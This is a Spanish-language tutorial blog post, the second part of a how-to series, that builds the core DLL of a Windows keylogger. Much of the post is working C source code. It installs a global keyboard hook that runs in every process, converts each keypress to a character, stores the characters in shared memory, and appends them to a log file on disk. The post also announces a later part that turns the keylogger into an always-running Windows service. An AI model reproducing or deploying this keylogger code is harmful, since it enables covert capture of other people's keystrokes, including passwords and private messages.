HowTo - KeyLogger Segunda Parte (Los Hooks)
En esta segunda parte del How To, vamos a hacer lo que es el “Core” del KeyLogger, para ello vamos a utilizar un Hook, pero antes de usarlo, tienes que bajar el codigo fuente:
Y despues tenemos que hablar un poco de que son los Hooks.
Cuando uno programa alguna aplicación para WIndows (Con el SDK de Win32) que tenga GUI, los eventos que pueden ocurrir se manejan capturando mensajes, es decir, cuando el cursor del mouse se mueve, se manda un mensaje, cuando una ventana se cierra, se manda un mensaje, cuando se presiona una tecla, se manda un mensaje, cuando se suelta una tecla, tambien se manda un mensaje. Los mensajes son entregados al la aplicación que tenga el foco (focus) y esta los procesa en su ciclo de eventos, recogiendo mensaje tras mensaje y pasandoselos al Handler.
Un Hook nos sirve para interceptar un mensaje cada que un thread llama a la función GetMessage() o PeekMessage(). Nosotros podemos registrar un Hook a la cadena por medio de la funcion SetWindowsHookEx y darlo de baja con la funcion UnhookWindowsHookEx.
Ahora, los mensajes que nos interesan son los de WM_KEYDOWN y WM_KEYUP, para esto, vamos a registrar un una función para el hook WH_KEYBOARD y lo vamos a hacer global, para que se ejecute en todas las aplicaciones del sistema.
La logica del keylogger sera muy simple, primero checara que el mensaje sea generado cuando el usuario presiona una tecla, despues va a obtener el caracter de esa tecla y luego lo va a guardar en un archivo de texto para que pueda ser analizado posteriormente.
Para la implementación, vamos a hacer una dll con las funciones que registren, den de baja y manejen el hook. Esto tiene que ser asi, porque para registrar un hook de forma global, la función que lo va a manejar tiene que estar en una libreria para poder ser utilizada por todos los procesos.
Tambien vamos a hacer un buffer, ya que solo un thread se va a encargar de escribir las teclas en el archivo y es costoso abrir, escribir y cerrar el archivo por cada tecleo. Cada que se llene el buffer va a vaciar su contenido en este. Para poder comunicar los distintos threads entre si, vamos a definir un area de memoria compartida dentro de la cual estara alocado el buffer.
Veamos un poco de codigo:
LRESULT CALLBACK KeyLoggerProc(int nCode, WORD wParam, DWORD lParam){ if(nCode < 0) return CallNextHookEx(hook, nCode, wParam, lParam); char buf[25]; LPSTR string = ToString(nCode, wParam, lParam, buf); if(string != NULL) Buffer(string); return CallNextHookEx(hook, nCode, wParam, lParam); }
Esta es la función que se registrara como Hook, lo primero que podemos observar, es que cuando el nCode es menor a cero, debemos de pasar al siguiente hook en la cadena sin procesarlo, sinceramente no se porque sea necesario esto, pero asi lo menciona la documentación.
Luego procesamos el mensaje, obtenemos una representación en forma de string, despues la grabamos en el buffer.
Al final pasamos el control al siguiente hook en la cadena.
LPSTR ToString(int code, WORD vCode, DWORD details, char* buf){ BOOL isKeyDown = FALSE; if((details & 0x80000000) == 0) isKeyDown = TRUE; if(code == HC_ACTION && isKeyDown){ if(vCode == VK_RETURN){ buf = "\r\n"; return buf; } char c = (char)MapVirtualKeyA(vCode, MAPVK_VK_TO_CHAR); if(c > 0){ *buf = c; *(buf+1) = '\0'; return buf; } else return NULL; } else return NULL; }
En esta función podemos ver como se convierte el virtual code a un arreglo de caracteres, lo que vale la pena mensionar, es el primer if, el cual sirve para identificar si el mensaje es WM_KEYDOWN o WM_KEYUP. MapVirtualKey convierte el codigo virtual de la tecla presionada a un caracter y si el codigo virtual es el de un enter.
Para saber mas detalles de como implementar estas funciones visita esta pagina, done vienen explicados mas a detalle los parametros que recibe el Hook de WH_KEYBOARD.
void Buffer(LPCSTR content){ while(lock) ; lock = TRUE; int size = strlen(content); if(buffSize + size <= BUFFLEGTH){ strcat(buffer, content); buffSize = strlen(buffer); } else{ log(); } lock = FALSE; }
La función Buffer se encarga de llenar nuestro espacio de memoria compartida con los caracteres generados por el Hook que registramos. Si el buffer se llena, llama a la rutina log que describiremos posteriormente, si no, simplemente concatena el valor que reciba con la cadena que este dentro del buffer.
Como podemos ver, esta función tiene un “Lock”, esto es porque podria ser invocada desde distintos threads al mismo tiempo, entonces puede que haya alguna “Race Condition”, por lo cual tenemos que asegurarnos de que solo un thread ejecute el codigo de la función a la vez. Esto lo podemos lograr definiendo una Sección Crítica, mientras un thread este dentro de ella, levanta la bandera indicando que nadie mas puede entrar, los threads en espera se quedan en el ciclo que esta al principio de la función en lo que se termina de ejecutar la sección crítica. La variable lock tambien esta declarada dentro de la sección de memoria compartida para que todos los threads la puedan utilizar.
void log(){ HANDLE logFile = CreateFile(logPath, GENERIC_READ | FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL); if(logFile != INVALID_HANDLE_VALUE){ DWORD out; WriteFile(logFile, buffer, buffSize, &out, NULL); CloseHandle(logFile); memset(buffer, 0, sizeof(char)*BUFFLEGTH); buffSize = 0; } }
La función log simplemente escribe el contenido del buffer en un archivo y despues vacia el buffer.
Estas son las funciones que hacen la talacha de nuestro KeyLogger, pero antes tenemos que activarlo en el sistema, ahora vamos a ver como hacer esto y como desactivarlo.
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { instance = hModule; return TRUE; }
Aqui lo unico que hacemos es guardar la instancia para poder dar de alta el Hook mas adelante.
DLLEXPORT BOOL SetUp(LPWSTR path){ if(path != NULL) SetLogPath(path); if(configured == FALSE){ hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyLoggerProc, instance, 0); if(hook != INVALID_HANDLE_VALUE){ configured = TRUE; return TRUE; } else{ return FALSE; } } else return FALSE; }
Con la funcion SetUp damos de alta el hook y le pasamos como parametro en que archivo quieres guardar los datos, como podemos ver, lo importante es en la linea donde se llama a la función SetWIndowsHookEx, donde el penultimo parametro es la instancia de la DLL y el ultimo es un 0 indicando que sera un Hook Global .
DLLEXPORT BOOL CleanUp(){ if(configured == TRUE){ if(UnhookWindowsHookEx(hook) == TRUE){ if(buffSize > 0){ lock = TRUE; log(); lock = FALSE; } configured = FALSE; return TRUE; } else return FALSE; } else return FALSE; }
Con CleanUp, hacemos lo contrario, desactivamos el hook y vaciamos el buffer para que todo quede grabado.
Y por ultimo tenemos que ver las declaraciones de las variables y de la memoria compartida:
#pragma comment(linker, "/SECTION:.SHARED,RWS")#define DLLEXPORT __declspec(dllexport) #define BUFFLEGTH 50 #pragma data_seg(".SHARED") wchar_t logPath[MAX_PATH] = L"C:\\keylog.txt"; char buffer[BUFFLEGTH] = ""; int buffSize = 0; BOOL lock = FALSE; #pragma data_seg()
En la linea que dice #pragma, le indicamos al linker que la sección de memoria llamada “.SHARED” sera una sección con permisos de lectura, escritura y estara compartida.
Mas abajo, todo lo que este dentro de #pragma data_seg(”.SHARED”) y #pragma data_seg() estara compartido con los permisos que especificamos mas arriba. Esto le indica al compilador que coloque estas variables dentro de otro segmento, que en este caso se llamara asi, .SHARED. Lo unico que hay aqui es el buffer, el tamaño del buffer y el lock. No hay que abusar porque todas las variables que pongamos aqui tendran un impacto directo al tamaño de la DLL.
En la tercera parte vamos a ver como podemos tomar esta DLL y usarla en un servicio de windows para que este siempre corriendo y registrando las teclas presionadas.